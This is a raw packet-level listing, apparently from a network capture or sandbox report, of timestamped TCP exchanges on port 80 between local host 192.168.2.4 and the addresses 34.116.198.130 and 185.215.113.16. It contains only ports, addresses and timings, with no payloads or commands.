Nov 23, 2024 11:22:24.399866104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.399926901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.400691032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.400727034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.400784969 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.401396990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.401449919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.401690960 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.402354956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.402457952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.402561903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.403286934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.403420925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.403548956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.404221058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.404366970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.404422045 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.405178070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.405292034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.405344009 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.406059980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.447170019 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.497723103 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.522232056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.522376060 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.522448063 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.522726059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.522794008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.522805929 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.522919893 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.523783922 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.523858070 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.523912907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.524708033 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.524769068 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.524821997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.525722027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.525774956 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.525881052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.525924921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.526691914 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.526812077 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.526864052 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.527682066 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.527734041 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.527822971 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.527883053 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.528681993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.528800011 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.528850079 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.529690027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.529740095 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.529820919 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.529866934 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.530718088 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.530772924 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.530817986 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.530890942 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.531640053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.531691074 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.531784058 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.531838894 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.532650948 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.532753944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.532814980 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.533634901 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.533689976 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.533740044 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.533792019 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.534625053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.534678936 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.534744024 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.534787893 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.535619974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.535774946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.535830021 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.536644936 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.536778927 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.537591934 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.537641048 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.537715912 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.538604021 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.538752079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.538796902 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.539577007 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.539689064 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.539731026 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.540589094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.540694952 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.540735960 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.541598082 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.541661978 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.541677952 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.542589903 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.542634964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.542650938 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.542665005 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.543601990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.543658018 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.543725014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.543828011 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.544657946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.544878006 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.544960022 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.545605898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.545660019 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.545715094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.545784950 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.546606064 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.546665907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.546750069 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.546813011 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.547610998 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.547672987 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.547878981 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.547987938 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.548552036 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.548604012 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.548640013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.548693895 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.549591064 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.549762964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.549822092 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.550556898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.550591946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.550648928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.551556110 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.551625967 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.551656961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.551742077 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.552535057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.552603960 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.552640915 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.552695036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.553612947 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.553682089 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.553736925 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.554474115 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.554640055 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.554701090 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.555507898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.555567980 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.555648088 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.555732965 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.556653976 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.556696892 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.556880951 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.557507992 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.557563066 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.557631016 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.557815075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.558481932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.558523893 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.558604956 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.558864117 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.559510946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.559570074 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.559622049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.559772015 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.560457945 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.560590982 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.560751915 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.561489105 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.561542988 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.561554909 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.561702013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.562438965 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.562494993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.562561035 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.562671900 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.563497066 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.563636065 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.563705921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.564460993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.564553022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.564579010 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.564596891 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.565448999 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.565571070 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.565620899 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.566457033 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.566648006 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.566701889 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.567333937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.567430019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.567501068 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.567527056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.567534924 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.567548037 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.567693949 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.567773104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.567975044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.568032026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.568419933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.568545103 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.568595886 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.568737030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.568878889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.569401979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.569554090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.569619894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.569652081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.569681883 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.569758892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.570410967 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.570461035 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.570466042 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.570491076 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.570502043 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.570576906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.570790052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.571397066 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.571449995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.571451902 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.571496010 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.571496010 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.571564913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.571599960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.571654081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.572377920 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.572441101 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.572503090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.572537899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.572573900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.572624922 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.572627068 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.573415041 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.573486090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.573519945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.573539972 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.573585987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.574348927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.574399948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.574403048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.574431896 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.574481010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.575297117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.575336933 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.575366020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.576237917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.576451063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.576459885 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.576500893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.577199936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.577254057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.578115940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.578176022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.578242064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.579047918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.579102039 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.579169989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.580033064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.580090046 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.580185890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.580451965 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.580919027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.581077099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.581130028 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.581892967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.582108021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.582168102 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.582818985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.582935095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.582988977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.583772898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.583895922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.583949089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.584670067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.584769964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.585644007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.585701942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.585721970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.586558104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.586662054 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.586684942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.587481022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.587524891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.587641954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.588449001 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.588476896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.588581085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.588628054 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.589448929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.589553118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.589605093 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.590296984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.590440989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.590488911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.591289997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.591356993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.591419935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.592226982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.592334986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.592457056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.593163013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.593267918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.593327999 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.594070911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.594351053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.594419003 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.595032930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.595161915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.595220089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.595957041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.596034050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.596093893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.596893072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.597138882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.597824097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.597899914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.598026037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.598862886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.598923922 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.598927975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.599742889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.599797964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.599878073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.600451946 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.600656986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.600785017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.600835085 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.601593971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.601802111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.601854086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.602560043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.602685928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.602737904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.603458881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.603585958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.603645086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.604470968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.604542971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.604598045 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.605349064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.605418921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.605604887 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.606251955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.606468916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.607104063 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.607187986 CET	80	49786	34.116.198.130	192.168.2.4
